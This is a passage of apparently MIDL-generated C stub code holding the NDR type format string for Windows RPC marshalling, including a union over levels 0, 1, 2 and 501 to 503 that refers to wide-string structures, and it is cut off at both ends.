*/\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1090 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 1092 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1094 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (1108) */\n/* 1096 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1098 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1100 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1102 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1104 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1106 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1108 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1110 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1112 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1114 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1116 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1118 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1120 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1122 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1124 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1126 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1150) */\n/* 1128 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1130 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1132 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1134 */\tNdrFcShort( 0x38 ),\t/* 56 */\n/* 1136 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1138 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1140 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1144 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1148 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1150 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1152 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 1154 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1156 */\tNdrFcShort( 0x10 ),\t/* Offset= 16 (1172) */\n/* 1158 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1160 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1162 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1164 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1166 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1168 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1170 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1172 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1174 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1176 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1178 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1180 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1182 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1184 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1186 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1188 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1190 */\tNdrFcShort( 0xffc2 ),\t/* Offset= -62 (1128) */\n/* 1192 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1194 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1196) */\n/* 1196 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1198 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1200 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1202 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1206) */\n/* 1204 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1206 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1208 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1210 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1212 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1236) */\n/* 1214 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1216 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1218 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1220 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1222 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1224 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1226 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1230 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1234 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1236 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1238 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1240 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1242 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1248) */\n/* 1244 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1246 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1248 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1250 */\tNdrFcShort( 0xffdc ),\t/* Offset= -36 (1214) */\n/* 1252 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1254 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1256) */\n/* 1256 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1258 */\tNdrFcShort( 0x20 ),\t/* 32 */\n/* 1260 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1262 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1272) */\n/* 1264 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1266 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1268 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1270 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1272 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1274 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1276 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1278 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1280 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1282 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1306) */\n/* 1284 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1286 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1288 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1290 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 1292 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1294 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1296 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1300 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1304 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1306 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1308 */\tNdrFcShort( 0x50 ),\t/* 80 */\n/* 1310 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1312 */\tNdrFcShort( 0x12 ),\t/* Offset= 18 (1330) */\n/* 1314 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1316 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1318 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1320 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1322 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1324 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1326 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1328 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1330 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1332 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1334 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1336 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1338 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1340 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1342 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1344 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1346 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1348 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1350 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1352 */\tNdrFcShort( 0xffbc ),\t/* Offset= -68 (1284) */\n/* 1354 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1356 */\tNdrFcShort( 0x1b4 ),\t/* Offset= 436 (1792) */\n/* 1358 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1360 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1362 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1364 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1366 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1368 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1372 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1376 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1378) */\n/* 1378 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1380 */\tNdrFcShort( 0x3006 ),\t/* 12294 */\n/* 1382 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1386 */\tNdrFcShort( 0x22 ),\t/* Offset= 34 (1420) */\n/* 1388 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1392 */\tNdrFcShort( 0x5a ),\t/* Offset= 90 (1482) */\n/* 1394 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1398 */\tNdrFcShort( 0x92 ),\t/* Offset= 146 (1544) */\n/* 1400 */\tNdrFcLong( 0x1f5 ),\t/* 501 */\n/* 1404 */\tNdrFcShort( 0xca ),\t/* Offset= 202 (1606) */\n/* 1406 */\tNdrFcLong( 0x1f6 ),\t/* 502 */\n/* 1410 */\tNdrFcShort( 0x102 ),\t/* Offset= 258 (1668) */\n/* 1412 */\tNdrFcLong( 0x1f7 ),\t/* 503 */\n/* 1416 */\tNdrFcShort( 0x13a ),\t/* Offset= 314 (1730) */\n/* 1418 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1417) */\n/* 1420 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1422 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (1466) */\n/* 1424 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1426 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1428 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1430 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1432 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1434 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1436 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1440 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1444 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1448 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1450 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1452 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1460 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1462 */\tNdrFcShort( 0xfe5e ),\t/* Offset= -418 (1044) */\n/* 1464 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1466 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1468 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1470 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1472 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1478) */\n/* 1474 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1476 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1478 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1480 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1424) */\n/* 1482 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1484 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (1528) */\n/* 1486 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1488 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1490 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1492 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1494 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1496 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1498 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1502 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1506 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1510 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1512 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1514 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1518 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1522 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1524 */\tNdrFcShort( 0xfe32 ),\t/* Offset= -462 (1062) */\n/* 1526 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1528 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1530 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1532 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1534 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1540) */\n/* 1536 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1538 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1540 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1542 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1486) */\n/* 1544 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1546 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (1590) */\n/* 1548 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1550 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1552 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1554 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1556 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1558 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1560 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1564 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1568 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1572 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1574 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1576 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1580 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1584 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1586 */\tNdrFcShort( 0xfe0e ),\t/* Offset= -498 (1088) */\n/* 1588 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1590 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1592 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1594 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1596 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1602) */\n/* 1598 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1600 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1602 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1604 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1548) */\n/* 1606 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1608 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (1652) */\n/* 1610 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1612 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1614 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1618 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1620 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1622 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1626 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1630 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1634 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1636 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1638 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1642 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1646 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1648 */\tNdrFcShort( 0xfe78 ),\t/* Offset= -392 (1256) */\n/* 1650 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1652 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1654 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1656 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1658 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1664) */\n/* 1660 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1662 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1664 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1666 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1610) */\n/* 1668 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1670 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (1714) */\n/* 1672 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1674 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1676 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1678 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1680 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1682 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1684 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1688 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1692 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1696 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1698 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1700 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1704 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1708 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1710 */\tNdrFcShort( 0xfdd0 ),\t/* Offset= -560 (1150) */\n/* 1712 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1714 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1716 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1718 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1720 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1726) */\n/* 1722 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1724 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1726 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1728 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1672) */\n/* 1730 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1732 */\tNdrFcShort( 0x2c ),\t/* Offset= 44 (1776) */\n/* 1734 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1736 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1738 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1740 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1742 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1744 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1746 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1750 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1754 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1758 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1760 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1762 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1766 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1770 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1772 */\tNdrFcShort( 0xfe2e ),\t/* Offset= -466 (1306) */\n/* 1774 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1776 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1778 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1780 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1782 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1788) */\n/* 1784 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1786 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1788 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1790 */\tNdrFcShort( 0xffc8 ),\t/* Offset= -56 (1734) */\n/* 1792 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1794 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1796 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1798 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1798) */\n/* 1800 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1802 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1804 */\tNdrFcShort( 0xfe42 ),\t/* Offset= -446 (1358) */\n/* 1806 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1808 */\t\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 1810 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1812 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1814 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1816) */\n/* 1816 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1818 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1820 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1822 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1824 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1826 